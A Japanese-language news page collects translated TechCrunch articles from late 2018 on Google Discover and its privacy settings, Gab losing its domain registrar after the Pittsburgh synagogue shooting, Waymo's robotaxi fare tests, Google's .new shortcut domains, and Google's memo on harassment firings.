iOSとAndroidの双方でGoogle.comのランディングページがDiscoverに切り替えられている。一部のAndroidユーザーの場合、Discoverはすでに標準のUIとなっておりホーム画面で右にスワイプするだけで表示される。、iOSとAndroidでGoogleアプリを利用しているユーザーのホームページも今日(米国時間10/29)から順次Discoverとなる(この記事を読む時点ではすでに見慣れているかもしれない)。.われわれはGoogleにDiscover導入の地域やスケジュールについて問い合わせている。

1年前のラスベガスの無差別銃撃事件でフェイクニュースが検索のトップに表示されたことで強い批判を浴びたGoogleとしてはDiscoverがあまりに注目されるのは賢明とは言えないかもしれない。 Discoverに表示される検索結果はユーザーの過去の検索履歴をベースとしている。つまり過去にユーザーが何らかのかたちで関心を示した事項が再表示されるわけだ。しかしこのカテゴリーは非常に広いため、ユーザーにとって役立つ情報が表示されるとは限らない。Googleのアルゴリズムがラスベガス事件のような過ちを繰り返さないよう祈るものだが、Googleにせよ他のソーシャルプラットフォームにせよ、画期的な進歩を期待するのは当分無理だろう。

ユーザーがGoogleアプリを通じててDiscoverを利用する場合、フィードの内容をカスタマイズすることができる。関心あるトピックを追加したり、天気や通勤経路、フライトなどの情報が通知されるよう設定できる。スポーツファンであれば、お気に入りのチームを登録して最新のニュースを受け取れる。これはたいへん便利だ。

ただし、Googleアプリは使いたいがGoogleがユーザーについてあまり知りすぎていることに懸念を感じるなら(感じるべきかもしれない)、「ウェブとアプリ」をカスタマイズしておくと少し安心できる。このページにフィードに表示されるカードをカスタマイズする方法が説明されている。これを逆にしてオフにすればよい。

〔日本版〕Androidアプリの場合、機種やアップデートの状況によって手順が異なる。Googleアカウントのページを開き、歯車アイコンの「設定」をタップする。「アカウントとプライバシー」→「Googleアクティビティ管理」と進むと最上部に「ウェブとアプリのアクティビティ」のオプションが表示される。Googleが情報を得るのを望まない場合はオプションをオフにする。

原文へ

滑川海彦@Facebook Google+

極右ソーシャルネットワークGab、GoDaddyにドメイン登録を抹消されサービス停止

10月27日のピッツバーグ礼拝堂銃撃事件の容疑者がユダヤ人差別投稿に使っていた極右ソーシャルネットワークGabは、ドメインレジストラのGoDaddyから、24時間以内に新しいドメイン登録機関を探すよう警告を受けた後、サービスを停止した。GoDaddyの決定は、PayPal、Medium、Stripe、Joyentらが週末にかけてGabのアカウントを停止したことを受けたものだ。

Bowers容疑者はピッツバーグのシナゴーグTree of Life銃撃事件に関連する11名の殺人容疑および複数の憎悪犯罪で告発され、死刑宣告される可能性がある。名誉毀損防止組合はこの事件を、米国ユダヤ人社会に対する史上最悪の事件だとしている。

Bowersは自分のGab プロフィールに「ユダヤ人はサタンの子供たち」と書き、ユダヤ人差別投稿やその他のヘイトスピーチを繰り返した。銃撃のわずか前にBowersは、「HIAS[ユダヤ人難民支援団体]はわれわれの国民を殺す侵略者を連れて来たがっている。同胞が虐殺されるのを黙認することはできない。世間がどう言おうとも俺はやる」と 書いていた疑いがある

GoDaddy広報はメールによる声明で、Gabはドメイン登録機関の暴力的コンテンツに関する規約に反したため退去を命じられたと語った。

「Gab.comに対して、当社の利用規約に違反したため24時間以内に他の登録機関を見つけるよう警告した。週末に受け取った複数の苦情に基づいてGoDaddyが調査したところ、暴力を宣伝、促進する多数のコンテンツを同サイト上で発見した」

現在Gabは「攻撃を受けている。アプリストア、ホスティングサービス、および複数の支払い処理サービスがシステム的に無効化されている」旨を主張するメッセージを表示している。

Gabがオンラインサービスプロバイダーの規約に抵触したのはこれが初めてではない。昨年Gabはコンテンツ違反でApple App StoreとGoogle Playから削除された。今年8月Microsoftは、2件のユダヤ人差別投稿を削除しなければAzure ウェブサービスから排除すると警告した(投稿は削除されMicrosoftはGabへのサービスを継続した)。

Joyentにサービスを停止されたGabは自身のTwitterアカウントを通じて「数週間閉鎖する可能性が高い」と言ったが、その後「近いうちに復活する」とツイートした。

GoDaddyは昨年にも、バージニア州シャーロットビルで右翼団体の “Unite the Right”集会に抗議中殺害されたヘザー・ヘイヤー氏に関するわいせつな記事を掲載したとして、2017年8月に白人至上主義サイトDaily Stormerへのドメインサービス提供を停止した。

[原文へ]

(翻訳:Nob Takahashi / facebook

自動運転車タクシーの料金計算方式のテストをWaymoが開始

Googleからスピンオフして今やAlphabet傘下の自動運車転技術の企業Waymoが、同社の自動運転車の乗車料金の計算方式のテストをフェニックスで開始した。これは同社が商用のロボタクシーサービスの立ち上げを準備していることの、いちばん新しい兆候だ。

Waymoはまだ、フェニックスでもどこでも、大規模な商用ロボタクシーサービスを立ち上げてはいない。でも、その日は近い。

Waymoの初期の乗車プログラムでは、厳選された本物の人間のグループがアプリを使って自動運転車を呼ぶだけだったが、今回テストはさらに拡大された。AlphabetのCFO Ruth Poratが、木曜日(米国時間10/25)に行われた同社の決算報告でそう説明した。すなわちWaymoは、第三四半期の間に行なう、そのアプリにある料金計算方式のテストを開始した、とPoratは述べた。

前回Waymoがそのプログラムの数字を共有したときは、その初期の乗車プログラムに400名が参加した。しかしWaymoのスポークスパーソンは今回、それがどれだけ増えたかを明言しなかった。

代わりにこう言っている: “初期の乗車プログラムの一環として最近、アプリにある料金計算方式のテストを始めた。料金計算は現在実験段階であり、初期の乗車者からのフィードバックを得ることだけが目的である。サービスの本格的な開始に向けて現在検討中の、そのほかの料金計算方式を反映したフィードバックにはならない”。

Waymoは、2016年に郊外地区のチャンドラーなどでテストを開始して以来、少しずつフェニックスにおける商用サービスに向かって近づいていた。2017年4月には初期的な乗車プログラムを本格的に開始し、その年の後半にはテスト車の隊列から社員と乗客を外して、空の自動運転ミニバンの車列をフェニックス大都市圏の街路に送り出した。

今年の5月には、Waymoは一部の初期的乗車者に、人間のテストドライバーが乗っていない自動運転ミニバンをタクシーのように呼ばせることを開始した。さらに最近同社は、フェニックスで公共交通プログラムを立ち上げ、人びとを最寄りのバス停や、列車やライトレール(市街電車)の駅まで運ぶパイロット事業を始めた。

テストはカリフォルニア州のマウンテンビューやテキサス州のオースチンなど、他の都市でも継続する。同社は今月の初めに、同社の自動運転車がアメリカの公道を1000万マイル走破したと発表した〔約1610万キロメートル〕。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

ブラウザーのURL欄に‘doc.new’とタイプするだけでGoogle Docsが新文書で立ち上がる

Google Docsが今日から提供する時間節約のためのテクニックは、DocsだけでなくSheets, Slides, Sites, Formsなどのヘビーユーザーに喜ばれるだろう。それは.newというドメインで、これらのサービスでこれを使うと、新しいファイルが一瞬にして作られる。

これまでのように、Google Driveへ行って、“new”ボタンをクリックして、それから、これから使うサービスを指定しなくても、たとえば“doc.new”とタイプすると新しいGoogle Docが開かれる。

Googleはすでにいろんな形の.newを登録しているから、たとえばdoc.newだけでなく、documents.newでもよい。

Googleのそのほかの生産性ツールでも同じトリックを使えるから、たとえばこんなものを使える:

  • sheet.new
  • sheets.new
  • spreadsheet.new
  • site.new
  • sites.new
  • website.new
  • slide.new
  • slides.new
  • deck.new
  • presentation.new
  • form.new
  • forms.new

(“www”はタイプしない。ドメインだけだ。)

Google Docsをよく使う人は、これによってかなり時間を節約できるだろう。ショートカットとして使うドメインをブックマークしておけば、いつもワンクリックで同じブランクドキュメントが得られる。

これが可能なのはGoogleが.newドメインを保有しているからで、そのサイト上でどんなサブドメインでも作れるのだ。

[アドレスバーにdoc.newとタイプするだけでG Docsが立ち上がるのは、まるで別世界だ。]

Googleがこのニュースをツイートしたのは木曜日(米国時間10/25)だが、感激したユーザーたちはすぐに、そのほかのドメインをリクエストし始めた。たとえばあるTwitterユーザーは、“drawingsもぜひお願いします”、と言っている。別のユーザーは、“email.newもぜひ”、とリクエストしている。

Googleはこれらのリクエストにまだ答えていないが、でも今後はもっといろんなのが、続々登場することだろう。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

Googleは過去2年間で48名をセクハラで解雇

今朝The New York Timesは、性的不行跡が報じられたAndroidの作者Andy Rubinに対する、Googleからの処遇に関する爆弾記事を載せた。

その記事が出たあと、CEOのSundar Pichaiと人事担当VP Eileen Naughtonの署名入りメモがGoogleのスタッフに送られた。そのメモは、“高い地位にある者の不適切な行為に対する強硬な姿勢を、今後ますます厳しくしていく”、とし、その厳しい処分の内容を詳説している。

そのメモはGoogleのスポークスパーソンが本誌TechCrunchに提供したもので、過去2年間だけでも48名がセクシャルハラスメントにより解雇された、とある。そのリストには、上級管理職が13名含まれている。

その社員宛て書簡は曰く、“これらの個人の誰一人として解雇手当を受け取っていない”。これは明らかに、Rubinに1か月に200万ドルずつの分割で計9000万ドルが支払われた、とする報道を指している。RubinはGoogleを2014年に辞めた。書簡の全文が、本記事の末尾にある。

本誌は今、Rubinが2015年に立ち上げたハードウェア向けのインキュベーターPlaygroundにも問い合わせている。情報が得られ次第、この記事をアップデートしたい。

From: Sundar

Hi everyone,

今日のThe New York Timesの記事は、読むのがつらかったです。

私たちは、安全で差別や区別のない職場づくりに、真剣に取り組んでいます。みなさんに明言したいのは、私たちがセクシャルハラスメントや不適切な行為に関する苦情を、どれ一つとして無視することはない、ということです。必ず調べて、対応します。

近年行ったいくつかの変更により、高い地位にある人びとの不適切な行為に対する強硬な姿勢が、ますます厳しくなっています。そのため、最近の2年間で48名がセクシャルハラスメントで解雇され、内13名は上級管理職以上の地位でした。これらの個人の誰一人として、解雇手当や退職金を受け取っていません。

2015年にはRespect@事業を立ち上げ、各年の内部調査報告書により、Googleにおけるこの種の調査に関する透明性を提供してきました。ハラスメントを報告することには心痛が伴うことを理解していますので、秘密のチャネルを提供して、あなたが経験または目撃した不適切な行為を共有しています。私たちは、声を発して事を公にする人びとを、支援し尊敬します。そして、そのためのいろいろな方法を提供しています。匿名による報告もできます。

最近の方針変更により、すべてのVPおよびSVPは、報告や係争の有無にかかわらず、同僚とのいかなる関係をも、開示しなければなりません。

私たちは、Googleを安全で良い仕事のできる職場にすることに真剣にコミットしています。そのような職場では、不適切な振る舞いをする者には誰にでも、重大な結果がもたらされます。

Sundar and Eileen

画像クレジット: Bloomberg/Getty Images

[原文へ]
(翻訳:iwatani(a.k.a. hiwa